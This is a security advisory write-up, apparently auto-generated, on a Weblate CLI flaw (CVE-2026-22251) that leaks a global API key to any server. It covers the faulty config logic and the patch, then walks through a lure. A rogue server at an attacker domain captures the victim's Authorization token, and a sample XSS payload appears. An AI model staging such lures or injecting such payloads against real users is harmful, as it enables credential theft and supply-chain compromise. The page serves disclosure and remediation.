CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22251

The Key to the Kingdom: Accidental API Exposure in Weblate's CLI

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 21, 2026·7 min read·14 visits

Executive Summary (TL;DR)

The Weblate CLI (wlc) < 1.17.0 sends your primary API key to *any* server you connect to if a specific key isn't defined for that URL. Connecting to a malicious server leaks your credentials.

A classic case of 'convenience over security' in the Weblate command-line client (wlc) resulted in a critical scoping vulnerability. Prior to version 1.17.0, the tool treated API keys as global citizens rather than scoped credentials. This meant that if a developer configured a default key for their corporate instance but then connected to a third-party or malicious Weblate server, the client would happily hand over the corporate keys in the HTTP Authorization header. It's a textbook credential leak scenario triggered by the client-side configuration logic.

The Hook: One Key to Rule Them All?

Developers love command-line interfaces (CLIs). We love them because they are fast, scriptable, and allow us to feel like hackers in 90s movies. But there is a dark side to CLI tools: configuration management. specifically, where and how we store the secrets that let us authenticate.

wlc is the official Python-based CLI for Weblate, a popular web-based translation tool. It allows you to push translations, pull changes, and manage projects without leaving your terminal. To do this, it needs an API key. Naturally, you shove this key into a config file (usually ~/.config/weblate or weblate.ini) so you don't have to type it every time.

Here is where the design philosophy went off the rails. In a sane world, an API key is strictly bound to a specific endpoint (Scope). My key for google.com should never be sent to bing.com. But wlc decided to be "helpful." It implemented a fallback mechanism where, if you defined a key in the general [weblate] section of your config, that key became the Universal Key. It didn't matter where you were connecting—corporate server, open-source project, or a sketchy IP address you found on a forum—wlc would grab that global key and attach it to the request header.

This is the digital equivalent of having a master key for your house, and when you check into a hotel, you hand the receptionist that master key instead of just showing ID.

The Flaw: Logic in the Danger Zone

The vulnerability wasn't a buffer overflow or a complex heap grooming exercise. It was a logical fallacy in wlc/config.py. The root cause lay in how the application parsed its configuration hierarchy.

The class WeblateConfig had a method responsible for fetching credentials: get_url_key(). Its job was simple: "I am connecting to URL X, give me the key for X."

However, the implementation prioritized convenience. It checked the general [weblate] section first (or as a fallback with equal weight). If a key existed there, the code essentially said, "Great, we have a key! Let's use it." It failed to validate if that key was actually intended for the target URL.

In older versions, the logic flow looked something like this:

  1. User runs wlc --url https://evil.com/api/ ...
  2. The code looks for a specific key for evil.com.
  3. Finding none, it checks the global [weblate] section.
  4. It finds key = SECRET_CORP_KEY.
  5. It sends Authorization: Token SECRET_CORP_KEY to https://evil.com/api/.

This behavior is catastrophic in an ecosystem where developers might work on multiple Weblate instances—one for work, one for open source, and one for personal projects. A single configuration mistake turns a simple connection attempt into a full credential compromise.

The Code: Diffing the Disaster

Let's look at the smoking gun. The fix was pushed in commit aafdb507a9e66574ade1f68c50c4fe75dbe80797 by Michal Čihař. The changes effectively nuke the global key concept.

The Vulnerable Logic (Conceptual)

The pre-patch logic allowed the configuration parser to blindly adopt the key from the defaults.

# pseudo-code of the vulnerable logic
section = 'weblate'
if self.config.has_option(section, 'key'):
    return self.config.get(section, 'key')
# If we are here, we might look for scoped keys, or we already returned the global one.

The Fix

The patch does two critical things. First, it removes the default key from the initialization, and second, it forces a scoped lookup.

# wlc/config.py (Post-patch)
 
 def get_url_key(self, url):
     """Return URL and key for given URL."""
     # ... (url normalization logic)
 
+    # Explicitly look in the [keys] section using the URL as the index
+    return self.get("keys", url, fallback="")

Furthermore, in wlc/main.py, they stopped polluting the global config object with CLI arguments. Instead of injecting command-line keys into the config (which might trigger the fallback logic), they stored them in separate attributes:

# wlc/main.py
 
- self.config.set_param(key, value)
+ # Store CLI args separately so they don't mix with config file logic
+ setattr(self, f"cli_{key}", value)

This ensures that wlc behaves deterministically: if you don't have a key explicitly defined for a specific URL, it should fail (or ask for one), not guess using your most sensitive secret.

The Exploit: Social Engineering the CLI

How do we weaponize this? We don't need to write shellcode; we just need to trick a developer. This falls under the "Social Engineering" side of exploitation, leveraging the user's trust in their tools.

The Setup

  1. The Attacker sets up a rogue Weblate instance (or just a simple Python HTTP server that logs headers) at https://weblate-community-patch.com.
  2. The Victim is a developer who has wlc configured with their company's API key in the [weblate] section of ~/.weblate.

The Lure

The attacker opens an issue on GitHub or sends a message: "Hey, can you help me debug a translation string? I've hosted it here: https://weblate-community-patch.com."

The Execution

The victim, trying to be helpful, runs the CLI tool against the new URL:

$ wlc --url https://weblate-community-patch.com show projects

The Capture

On the attacker's server logs:

GET /api/projects/ HTTP/1.1
Host: weblate-community-patch.com
User-Agent: wlc/1.16
Authorization: Token wlb-pzp6... (The Victim's Corporate Key)
Accept: application/json

Just like that, the attacker has a valid, scoped (or potentially admin) token for the victim's corporate environment. They didn't need to hack the corporation; they just asked the developer to knock on their door.

The Impact: Why Should You Care?

You might think, "It's just a translation tool key." But in modern DevOps, translation platforms like Weblate often sit in the critical path of the CI/CD pipeline. They have write access to source code repositories (to commit translations) or can trigger build webhooks.

An attacker with this key could:

  1. Inject Malicious Content: Modify translation strings to include XSS payloads (e.g., <script>alert(1)</script>) which will then be pulled into the main application and executed in the browsers of every user.
  2. Exfiltrate Intellectual Property: Download all source strings and upcoming feature text before they are released.
  3. Pivot: If the Weblate instance is integrated with GitHub/GitLab, the attacker might use the Weblate service account to commit code changes to the repo, escalating from a translation tool compromise to a full supply-chain attack.

This vulnerability (CWE-200) has a CVSS of 5.3 because it requires user interaction, but the impact of a stolen credential can be far higher depending on what that key unlocks.

The Fix: Remediation and Hygiene

The immediate fix is software-based, but the long-term fix is behavioral.

1. Update wlc: Ensure you are running version 1.17.0 or higher. This version enforces strict scoping.

2. Clean up your Config: Open your ~/.config/weblate or weblate.ini file. Look for this anti-pattern:

[weblate]
url = https://weblate.example.com
key = wlb-xxxx  <-- BAD! This is a global fallback.

Change it to the scoped format:

[keys]
https://weblate.example.com/api/ = wlb-xxxx
https://opensource.weblate.org/api/ = wlb-yyyy

3. Rotate your Keys: If you have ever used wlc < 1.17.0 to connect to a server you don't control 100%, treat your keys as compromised. Go to your Weblate user profile and regenerate your API tokens immediately.

Official Patches

WeblateOrgCommit fixing the unscoped key issue
WeblateOrgOfficial GitHub Security Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N
EPSS Probability
0.01%
Top 100% most exploited

Affected Systems

Weblate command-line client (wlc) < 1.17.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
wlc
WeblateOrg
< 1.17.01.17.0
AttributeDetail
CWE IDCWE-200
Attack VectorLocal / User Interaction
CVSS Score5.3 (Medium)
EPSS Score0.00005
ImpactCredential Leakage
Exploit StatusNo Known Public Exploit

MITRE ATT&CK Mapping

T1552.001Unsecured Credentials: Credentials In Files
Credential Access
T1204.002User Execution: Malicious File
Execution
T1566Phishing
Initial Access
CWE-200
Information Exposure

Exposure of Sensitive Information to an Unauthorized Actor

Vulnerability Timeline

Fix commit authored
2026-01-07
GHSA Advisory Published
2026-01-12
CVE Published
2026-01-12

References & Sources

  • [1]GHSA Advisory
  • [2]NVD Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 24 hours ago•CVE-2025-6965
7.7

CVE-2025-6965: Remote Code Execution via Integer Truncation in SQLite Aggregate Parser

An integer truncation vulnerability (CWE-197) exists in SQLite before version 3.50.2 during the processing of aggregate queries with more than 32,767 distinct column references. This causes an internal 32-bit counter to truncate to a signed 16-bit integer, producing negative values that cause out-of-bounds heap operations in release builds.

Amit Schendel
Amit Schendel
10 views•6 min read
•1 day ago•CVE-2026-47291
9.8

CVE-2026-47291: Remote Code Execution in Windows HTTP.sys Kernel Driver

An integer overflow vulnerability in the Windows kernel-mode HTTP driver (HTTP.sys) allows an unauthenticated remote attacker to execute arbitrary code with kernel privileges or cause a Denial of Service via a specially crafted sequence of HTTP request headers.

Amit Schendel
Amit Schendel
20 views•8 min read
•1 day ago•CVE-2026-11822
7.8

CVE-2026-11822: Memory Corruption and Buffer Overflow in SQLite FTS5 Extension

A memory corruption vulnerability exists in the FTS5 (Full-Text Search 5) extension of SQLite prior to version 3.53.2. An attacker can construct a malicious database file containing corrupt FTS5 page data. Querying this database triggers out-of-bounds reads and heap-based buffer overflows, potentially causing a crash or arbitrary code execution.

Amit Schendel
Amit Schendel
7 views•5 min read
•2 days ago•CVE-2026-56350
6.3

CVE-2026-56350: SSO Enforcement Bypass in n8n via API Parameter Pollution / Mass Assignment

A mass assignment vulnerability (CWE-915) in n8n's self-service settings API endpoint (PATCH /me/settings) allows authenticated Single Sign-On (SSO) users to disable SSO enforcement for their accounts by injecting administrative parameters. This bypasses organizational identity provider controls and multi-factor authentication (MFA).

Amit Schendel
Amit Schendel
9 views•6 min read
•6 days ago•CVE-2026-55699
6.5

CVE-2026-55699: Arbitrary Directory Deletion via Path Traversal in pnpm globalBinDir Resolver

CVE-2026-55699 (also identified as GHSA-4gxm-v5v7-fqc4) is a critical path traversal and arbitrary directory deletion vulnerability in the pnpm package manager. The issue exists because the manifest validation process fails to prevent relative path segments within the package 'bin' keys. When a malicious package containing structured path traversal markers is globally installed and later manipulated, pnpm resolves the target paths through path.join() and passes the resolved paths to a recursive deletion function, resulting in arbitrary directory removal.

Amit Schendel
Amit Schendel
23 views•6 min read
•6 days ago•CVE-2026-55700
7.1

CVE-2026-55700: Path Traversal and Arbitrary File Write in pnpm stage download

A path traversal vulnerability in pnpm stage download allows malicious registries or compromised package manifests to overwrite arbitrary files on the victim's filesystem via unvalidated package name and version fields.

Alon Barad
Alon Barad
16 views•4 min read